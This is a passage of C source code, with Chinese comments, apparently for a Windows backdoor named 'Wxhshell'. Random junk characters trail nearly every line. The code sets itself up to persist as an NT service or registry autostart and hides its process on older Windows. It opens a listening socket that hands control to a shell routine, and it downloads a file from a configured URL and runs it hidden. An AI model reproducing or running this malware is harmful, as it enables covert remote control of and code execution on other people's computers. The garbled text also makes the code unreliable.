ULONG UniqueProcessId; g0v},n
ULONG InheritedFromUniqueProcessId; dIQ7u
} PROCESS_BASIC_INFORMATION; x%23oPM
`zGK$,[%
PROCNTQSIP NtQueryInformationProcess; 3$ cDC8
=2] .G Gg
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; dB+x,+%u+
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Fvf308[
jb~a z
HANDLE hProcess; $/90('D
PROCESS_BASIC_INFORMATION pbi; f#_ XR
5L bU'5
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); SweaERl
if(NULL == hInst ) return 0; a\S"d
,Dfq%~:grT
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); S+3'C
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); X&o!xV -+
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); @[#U_T- I
5 WSu
if (!NtQueryInformationProcess) return 0; et(/`
[_hHZMTH
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); xT70Rp(2po
if(!hProcess) return 0; k$UgTZ
!4GGq
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Pk9s~}X
Zx,R6@l
CloseHandle(hProcess); &sR=N60n
ZHUAM59bx
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); [hTGWT3
if(hProcess==NULL) return 0; Vo}3E]
|};]^5s9
HMODULE hMod; @P#uH5U
char procName[255]; Q}FDu,
unsigned long cbNeeded; P1;T-.X~&
g9|B-1[
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); [/hS5TG|7
(mz5vzyw
CloseHandle(hProcess); JYL/p9K[I
Yr@_X
if(strstr(procName,"services")) return 1; // 以服务启动 Z]D O
:_JZn`Cab
return 0; // 注册表启动 IG0$OtG
} drP2%u
xy>wA
// 主模块 Z.Lm[$/edn
int StartWxhshell(LPSTR lpCmdLine) CZRrb 84
{ =Xh^@OR
SOCKET wsl; kF.!U/C
BOOL val=TRUE; G,M &z>ub0
int port=0; sY+U$BYB>
struct sockaddr_in door;
YW"}hU
D.Rk{0se8
if(wscfg.ws_autoins) Install(); O=LS~&=,
3":ef|w]
port=atoi(lpCmdLine); =MDir$1Z
9;2PoW8
if(port<=0) port=wscfg.ws_port; jT"P$0sJAd
WXu:mv,'e
WSADATA data; eT1b88_
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; `}.K@17
pA)!40kz
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 0#4_vg .
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); v'Ce|.;
door.sin_family = AF_INET; s
(|T@g
door.sin_addr.s_addr = inet_addr("127.0.0.1"); *@o@>
door.sin_port = htons(port); V&vU her0
*k==2figz
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { H `y.jSNi
closesocket(wsl); 6TJ5G8z_
return 1; _6" vPN
} J"QXu M
r|4jR6%<'m
if(listen(wsl,2) == INVALID_SOCKET) { gP8Fe =]
closesocket(wsl); ~fw 6sY#
return 1; 'c5#M,G~
} WsRG>w3"
Wxhshell(wsl); QEL^0c8 ~
WSACleanup(); UfjLNe}wA
<_@ K4zV
return 0; zy`4]w$Lj+
kRs[H xI3
} u\=gps/Z
}MP2)6
// 以NT服务方式启动 mN+~fuh
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) [0.>:wT
{ ,OWdp<z
DWORD status = 0; /*p4(D_A
DWORD specificError = 0xfffffff; yveyAsN`B
MV6%~T
serviceStatus.dwServiceType = SERVICE_WIN32; rg+28tlDn
serviceStatus.dwCurrentState = SERVICE_START_PENDING; /]%,C
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; u^a\02aV[
serviceStatus.dwWin32ExitCode = 0; cw.Uy(ks|$
serviceStatus.dwServiceSpecificExitCode = 0; o/buU{)y
serviceStatus.dwCheckPoint = 0; '7o'u]
serviceStatus.dwWaitHint = 0; #@H{Ypn`
'&Ox,i]t
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);
F7a &-
if (hServiceStatusHandle==0) return; yq+<pfaqvK
|57KTiiNLI
status = GetLastError(); r5Ej
if (status!=NO_ERROR) zk5sAHQ
{ +*,rOK`C
serviceStatus.dwCurrentState = SERVICE_STOPPED; zf$&+E-
serviceStatus.dwCheckPoint = 0; ;OQ-T+(T
serviceStatus.dwWaitHint = 0; d='z^vHK
serviceStatus.dwWin32ExitCode = status; Gp9>R~$
serviceStatus.dwServiceSpecificExitCode = specificError; {YZ)IaqZ
SetServiceStatus(hServiceStatusHandle, &serviceStatus); X@Eq5s
return; }`6-^lj
} ^k &zX!W
I9*o[Jp5
serviceStatus.dwCurrentState = SERVICE_RUNNING; dvxD{UH
serviceStatus.dwCheckPoint = 0; Q_QmyD~m
serviceStatus.dwWaitHint = 0; ]Vhhx`0
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); qyl~*r*
} A>+5~u
S<Q8kW:
// 处理NT服务事件,比如:启动、停止 Hf+A52lrf
VOID WINAPI NTServiceHandler(DWORD fdwControl)
/Z! ,1
{ hor ok:{
switch(fdwControl) ;hF >iw
{ hJ4==ILx
case SERVICE_CONTROL_STOP: JfKhYRl
serviceStatus.dwWin32ExitCode = 0; z/ T|
serviceStatus.dwCurrentState = SERVICE_STOPPED; S1uW`zQ!+_
serviceStatus.dwCheckPoint = 0; *7oPM5J|v
serviceStatus.dwWaitHint = 0; mkYM/*qyM&
{ g*t.g@B<2
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7}Z.g9<
} ^T'+dGU`
return; M_MiY|%V/K
case SERVICE_CONTROL_PAUSE: mmY~V:,Kd
serviceStatus.dwCurrentState = SERVICE_PAUSED; JiZ9ly(G
break; ;nLQ?eS\
case SERVICE_CONTROL_CONTINUE: F<BhN+U
serviceStatus.dwCurrentState = SERVICE_RUNNING; #[sC H
break; %_M B-
case SERVICE_CONTROL_INTERROGATE: ~U*2h =]
break; ^*C6]*C}te
}; SZg+5MD;X
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Gcg`Knr
} RUf,)]Vvk
/7@@CG6b
// 标准应用程序主函数 }^G'oR1LF
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) C JiMg'K
{ l1jS2O(
#:T5_9p
// 获取操作系统版本 yHQ.EZ~%
OsIsNt=GetOsVer(); T7m rOp
GetModuleFileName(NULL,ExeFile,MAX_PATH); ;knSn$
,!kyrk6
// 从命令行安装 [rTV)JsTb
if(strpbrk(lpCmdLine,"iI")) Install(); gtJ^8khME
6#N1 -@
// 下载执行文件 \ :})R{
if(wscfg.ws_downexe) { *bn9j>|iv
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) )[9L|o5D
WinExec(wscfg.ws_filenam,SW_HIDE); w|Zq5|[
} aEXV^5;,pJ
\#tr4g~u
if(!OsIsNt) { dcU|y%k%
// 如果时win9x,隐藏进程并且设置为注册表启动 :L:;~t K
HideProc(); dp)lHBV
StartWxhshell(lpCmdLine); rZGbU&ZM8
} \'E _
else !SJmu}OB]
if(StartFromService()) Uw61X>y=
// 以服务方式启动 A6iyJFmD
StartServiceCtrlDispatcher(DispatchTable); Uj k``;
else $
}B"u;:SU
// 普通方式启动 XF^c(*5
StartWxhshell(lpCmdLine); fbw{)SZ
<]wN/B-8J
return 0; ;i:Uoyi
}